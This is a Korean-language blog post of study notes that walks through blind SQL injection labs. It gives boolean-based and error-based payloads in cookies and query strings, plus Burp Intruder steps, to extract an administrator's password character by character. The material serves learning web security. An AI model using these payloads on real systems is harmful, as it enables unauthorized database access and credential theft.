※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
Blind SQL Injection
: 보이지 않는 SQL Injection, 에러 기반(Error Based)의 SQL Injection을 막았을때 DB정보가 모두 블라인드 처리가 되어서 온다. 이때 서버에서 응답하는 참, 거짓으로만 DB 정보를 가져오는 방법이다.
1. 방법 :
1) 참/거짓
(1) 참
xyz' UNION SELECT 'a' WHERE 1=1--
(2) 거짓
xyz' UNION SELECT 'a' WHERE 1=2--
2) users 테이블에서 Administrator 사용자의 password 첫번째 한자리가 'm' 보다 큽니까? (크면 '참', 작으면 '거짓')
(1) 참
xyz' UNION SELECT 'a' FROM users WHERE username='Administrator' and SUBSTRING(password, 1, 1)>'m'--
→ '참'이면 환영합니다. 알림
(2) 거짓
xyz' UNION SELECT 'a' FROM users WHERE username='Administrator' and SUBSTRING(password,1,1)>'t'--
→ '거짓'이면 환영합니다 알림x, 리턴 x
3) 조건부 응답이 포함된 Blind SQL Injection (cookie 헤더 값 변조)
(1) TrackingId쿠키를 수정 및 반응 확인
TrackingId=x'+OR+1=1-- // 응답값 "Welcome back" 메시지 알림 O
TrackingId=x'+OR+1=2-- // 응답값 "Welcome back" 메시지 알림 X
(2) administrator 라는 사용자가 있는지 확인
x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- // 응답값 "Welcome back" 메시지 알림 시 True
(3) 관리자 암호에 몇개의 문자가 있는지 확인
x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1-- // password 길이가 1보다 크면 True 알림이 뜸
x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>3-- // password 길이가 3보다 크면 True 알림이 뜸, 계속 증가하면서 확인 안뜨면 '>'를 '=' 변경후 확인
(4) 특정 값에 대해 단일의 암호 문자 추출, 값을 순환하면서 차례로 하나씩 테스트
x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,1,1)='a'-- //password가 첫번째 한글자가 'a'인지? 맞으면 "Welcome back", 틀리면 "Welcome back" 알림이 X
(5) Burp Suite 툴을 이용하여 Intruder 기능사용 (자동화 도구)
① 패킷을 우클릭 후 'Send to Intruder' 클릭
② Positions 에서 모두 클리어 후 'a' 부분 드래그 후 'Add $' 버튼 클릭
x' UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,1,1)='$a$'--;
③ Payloads 옵션에서 Payload Options[simplelist]에서 a-z, A-Z, 0-9 Add 한다.
④ Options 옵션에서 Grep-Match 에서 모두 Clear 후 Welcome back Add 한다.
⑤ start attack 후에 welcom back 에 체크 된 단어 찾기
x'UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,2,1)='$a$'--;
※ 이런식으로 반복하여 6자리 패스워드를 찾기
4) SQL 오류를 트리거하여 조건부 응답 유도
: SQL 쿼리를 수행하지만 쿼리가 데이터를 반환하는지 여부에 따라 다르게 동작하지 않는다고 가정(TrackingId Cookie를 이용하여 확인)
(1) 대소문자 표현식은 NULL로 평가되기 때문에 오류가 발생 X
xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--
(2) I/O으로 평가되어 0으로 나누기 오류가 발생
→ 오류가 애플리케이션의 HTTP 응답에 약간의 차이를 유발한다고 가정하면 차이를 사용하여 주입된 조건이 참이진지 여부 유추
xyz' UNION SELECT CASE WHEN (username='Administrator' and SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE null END FROM users--
※ 1/0 : 조건이 참일때
null : 조건이 거짓일때
5) Lab : Blind SQL Injection with coditional errors
(1) Burp Suite를 사용하여 TrackingId 쿠키가 포함된 요청을 가로채고 수정
(2) TrackingId 쿠키값을 작은따옴표로 변경 (TrackingId=')
→ 오류메시지 수신 확인 (오류 발생)
(3) TrackingId 쿠키값을 쌍따옴표로 변경 (TrackingId= ")
→ 오류 메지시 수신 확인 (정상값 확인)
(4) CASE 키워드 확인
① TrackingId='+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- //오류 메시지 수신 확인
② TrackingId='+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- //정상값 확인
→ 특정 조건의 진실에 따라 조건부로 오류를 트리거 할 수 있음을 보여줌, 전자식에는 0으로 나누기가 포함되어 오류가 발생 , 두 페이로드는 조건 1=1 및 1=2를 테스트 하고 조건이 참이면 오류가 수신
(5) Administrator 라는 사용자가 있는지 확인
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--
※ to_char(1/0) : 참(에러페이지)
NULL : 거짓(정상페이지)
→ 조건이 True인지 확인
6) 관리자 암호에 몇자의 문자를 사용하였는지 확인
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+to_char(1/0)+ELSE+NULL+END+FROM+users--;
※ 1 : 2,3,4,5,6... 순서를 계속 이용하여 거짓이 나올 때 까지
7) Burp Suite 툴을 Intruder 기능을 이용하여 관리자 패스워드 확인
(1) 패킷 우클릭→ Send to Intrader 클릭 - Positions → Clear$ 클릭 → 'a' 드래그 → Add$ 클릭
(2) Payloads 클릭 - Payload Options[Simple list] → a-z, A-Z, 0-9 (Add)
(3) Start attack 에서 에러페이지 찾기
(4) 이런 식으로 substr(password,1,1)='$a$' //빨간 부분 증가
(5) 구문 :
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,1,1)='$a$')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;
'보안 > WEB' 카테고리의 다른 글
[WEB 보안] SQL Injection-UNION Attack_1 (0) | 2020.04.26 |
---|---|
[WEB 보안] SQL Injection 취약점_기타 (0) | 2020.04.26 |
[WEB 보안] Blind SQL Injection 취약점_2 (0) | 2020.04.26 |
[WEB 보안] 데이터베이스 버전 확인 (0) | 2020.04.22 |
[WEB 보안] SQL Injection 대응 방법_1 (0) | 2020.04.22 |